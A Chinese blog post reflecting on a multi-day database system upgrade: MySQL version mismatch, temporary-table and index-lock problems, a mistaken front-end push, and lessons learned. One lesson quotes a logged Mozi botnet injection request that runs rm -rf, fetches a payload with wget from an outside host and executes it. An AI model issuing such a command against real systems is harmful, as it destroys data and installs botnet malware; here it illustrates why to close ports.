记一次项目上线的经历（汇总 / 过程反思）

公司原本计划4月30日将现有系统做升级。
那晚与数据库大牛一起搭建模拟生产环境的版本做线上升级测试版使用。
大概7点半遇到一个bug。本在测试环境可以顺畅运行的程序因与模拟线上环境的数据库版本不一致（测试环境5.6.46 / 线上环境5.6.28/）导致原有的程序因游标问题引发的一连串错误，致使整个模拟环境迟迟磨到了1点才搭建完成。线上升级也就推到5月1号。
这期间使用的一些排查手段的混合交错也可能是导致问题迟迟没找到解决的原因；

---

5月1号下午模拟环境再次遇到问题。程序升级继续拖后
依旧是前一天的主程序的问题。这次程序可以运行成功。但因为期间的临时表没创建成功导致其中部分逻辑没被运行。中间的嵌套过程太深，捕获错误被重定; 事务也无法回滚…这个问题一直排查到5月2号中午 drop temporary table if exists tmp; 因为这句不知怎么就是在这个过程中无法成功运行。最后只能是改成了drop table if exists tmp;真的很诡异。其他的sp都能正常运行这个。

---

5月2号晚上。前天的结构版本对比没看出这细微的差异。索引问题导致数据错乱
因为我个人的失误。害的mysql大牛排查了2个小时。😫🙏
问题查出来后对表索引进行修改。修改一直未响应；查询进程后发现表被锁了。导致锁表原因大致为修改索引时有查询该表数据的操作。好在模拟线上环境发现了这一情况。不然在很多用户同时操作数据表的情况下更不无法更改表结构；备份表数据后关闭进程完成修改；

---

5月3号晚上。确定升级上线
因为索引导致的问题我特别在线上环境数据迁移的过程中详细的对比了表结构的版本差异。再三确认数据结构都无误，然而却在前端犯了严重失误。2点不小心把在本地测试的版本推送了上去…导致系统维护异常。一觉到天亮才发现…查看数据发现还好没有造成很大问题。。不过给部分用户带来了不好的体验非常抱歉啊🙏🙏🙏

---

总结一下这几天碰到的问题及注意事项 Mark一下

1.数据迁移的过程中尽量使用同一种数据库管理工具。

我交叉着使用了sql-front和navicat两款工具。其中的操作性和语法有些差异.很可能导致在修改的过程中出错及差异。

2.在修改sp的过程中应该在拷贝份上做修改测试。整个更改测试尽量在一个会话窗口中进行。

可能因为我整个修改测试的过程几个会话窗口交叉进行。导致一些临时表的创建删除出现问题。这可能导致几次的排错结果会不一致。

3.测试环境与线上环境版本尽量保持一致，其中版本差异带来的隐藏漏洞非常难找

之后的测试版本我也只能降版本同步线上环境了

4.在有对表做操作时尽量不要更改表结构的索引。这会导致表被锁死。在线上环境避免操作表结构

在这个问题上浪费了不少时间。还得仔细比对好前后版本的差异

5.可使用diff算法做版本差异对比。版本控制服务一般也有该功能

这招很管用。还得细心检查

6.代码推送完后，闲时最好关闭对应的端口

在测试环境使用过程中发现中途有一些奇怪的脚本攻击。
GET /shell?cd+/tmp;rm±rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi
.a;/tmp/Mozi.a+jaws
rm -rf如果被成功注入后果将不堪设想。查阅了一下这种叫扫肉鸡。批量扫描攻击135端口。好在腾讯云安全组没有开发这个端口。也是需要避免非必要端口的开放。

7.自己做了什么操作过程最好全部记录下来。我不会再相信我的大脑了。好过看一遍记录过程

不能急，慢慢做，再三确认很是关键；毕竟这一切操作都是你一人完成。

---

…差不多就这些了。倒腾了几天很是费精力，自己也是很粗心大意；图了速度不够稳。又可能更费了时间，消沉下去也没什么用。以此记录一下。写的这般烂给自己看看就好了。
最近学到的东西也很多。也感谢大牛同事们愿意费时间为我疑难解答。之后也会继续分享记录更多学习过程✍